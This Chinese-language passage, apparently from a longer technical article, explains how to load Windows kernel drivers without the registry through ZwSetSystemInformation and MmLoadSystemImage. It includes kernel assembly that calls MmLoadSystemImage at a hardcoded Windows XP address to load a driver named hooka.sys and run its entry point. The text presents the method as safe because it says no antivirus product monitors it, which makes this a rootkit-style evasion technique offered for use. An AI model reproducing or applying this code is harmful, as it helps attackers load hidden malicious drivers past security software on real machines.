第二種方法如下:
一般情況下win2000啓動後會開始加載特別的驅動win2k.sys。然而它並不是以其他驅動那樣調用函數ZwLoadDriver, NtLoadDriver等。
事實上它是通過內核API函數ZwSetSystemInformation載入的。
該API通常用來設置類似文件分卷等系統信息,以及加載上面提到的驅動,文件緩存等等。
該函數調用方法如下:
ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
//識別操作指令
IN PVOID SystemInformation, //識別操作數
IN ULONG SystemInformationLength ) //識別數據長度
其內部調用方法如下:
Switch (SystemInformationClass)
Case 0:
Case 1:
.
.
.
Case 5: ;this actually extends the system service descrīptor table
.
.
.
MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,imagehandle,baseaddress);
call entrypoint(driverobject,NULL) ;
break ;
case 6:
.
.
.
.
.
上述的兩種方法是我們現在已知的兩種加載驅動的方式。
下面是第三種方式(針對該方法目前沒有防毒措施對其進行監控因此它將是安全的)
像上面所講的那樣,ZwSetSystemInfomation加載鏡像函數從而將驅動載入內存然後調用它的入口點。
現在我們將具體地分析MmLoadSystemImage函數的參數。
MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING prefix optional,UNICODE STRING basename optional,
ULONG unknown=0,PVOID imagehandle,PVOID baseaddress);
ImagePath:windows下的路徑
prefix :用在載入驅動的路徑名前
basename:系統在加載組件後顯示的名稱
unknown:未知
*imagehandle:段指針(這是已經被提交的)
*baseaddress:鏡像載入內核內存後的地址
該函數實際上就是扮演着加載鏡像入驅動,解決導入等的一些問題的角色。
在對windows平臺下進行調試的過程中,你可以找出使用d MmLoadSystemImage字段函數的地址。
注意:MmLoadSystemimage在將鏡像載入內存後會繼續內部調用和檢查鏡像,所以我們必須保證檢查後的結果是正確的。這個過程由MiCheckSystemImage實現。實現導入工作以及加載附屬的則是依靠函數MiResolveImageReferences來完成。
函數MmloadSystemimage按照如下流程工作:
1)掃描存在的組件清單以確保它已經被載入
2) 如果鏡像已經存在,則返回錯誤,提示鏡像已經存在
3)嘗試使用函數Zwopenfile打開文件,如果文件不能被打開,則返回錯誤代碼
4)計算鏡像的檢查結果並將其與儲存在頭文件裏的結果進行比較
5)如果不相符則返回錯誤
6)使用函數Zwcreatesection建立一個段然後將其作爲參考
7)使用函數mMapViewInSystemSpace給其指定內核空間
8)在必要的時候使用LdrRelocateImage對鏡像進行重定向
9) 調用用函數MiResolveImageReferences對鏡像參考
10)爲組件建立已加載組件清單
11)給其加上寫保護
12) 關閉文件指針
13)返回
現在我們有了一個加載鏡像的函數,但是調用驅動的入口問題卻沒有解決。我們可以從載入鏡像後的PE頭文件自身那裏找到相關信息。這個方法可以用來直接在內核中加載和執行驅動,本地應用程序等。
下面給出的是內核下的彙編代碼。在windowsXP SP0 英文版下測試通過。在理論上也可以在win2000,xp,2003下執行。
__asm {
;下面的代碼將驅動載入內存
loaddriver:
mov dword [Stack],esp //save stack
;paramters as always are passed in reverse
push DWORD Driverbase ;存儲驅動基址
push DWORD ImageHandle ;存儲段指針
push dword 0
push dword 0
push dword 0
push DWORD U_STRINGloc ;指向一個unicode字串 ,包括將要加載的驅動
mov edi, 0x805c03ae ;MmLoadSystemImage 函數的地址,在Win XP SP0英文版下隨着操作系統版本不同這一地址將發生變化
call edi
cmp eax,0 ;檢查驅動是否成功載入內存
jne drivernotloaded ; 如果失敗,則直接退出
;驅動載入後 調用其內置函數,所有參數置零
mov DWORD edi, [Driverbase]
mov DWORD ebx ,[edi + 0x3c] ;獲取optional header的偏移量
mov dword ebx,[edi + ebx + 0x18 + 0x10] ; 從代碼基址中獲取入口地址的偏移量
add edi ,ebx ; 將基址和偏移量相加,得到入口點內存中的物理地址
push 0 ;
push 0
call edi ;call entry point (驅動入口點,驅動不同入口點將有變化)
drivernotloaded:
mov dword esp,[ Stack] ; 糾正堆棧使得可以繼續執行
ret
; 下面是各種所需的代碼數據
; 下面是將要加載的驅動的路徑
;DosDevices@:hooka.sys length 48
db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00
db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00
;儲存驅動基址
Driverbase:
dd 0
;儲存段指針
ImageHandle:
dd 0;
;儲存堆棧地址
Stack:
dd 0
;在內存中構建 unicode字串
struc U_STRING
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
endstruc
}
//彙編結束
注意:這些API函數並不是由windows操作系統的內核導出的,但他們確實有內核方面的用途。這些函數並沒有被任何反病毒軟件監控,所以它們可以用來加載驅動或者本地應用程序然後運行。
這就是我們所說的在內核模式下不通過註冊表加載驅動的方式,當然,這些代碼可能存在一些錯誤,但是目前爲止還沒有發現硬件上的錯誤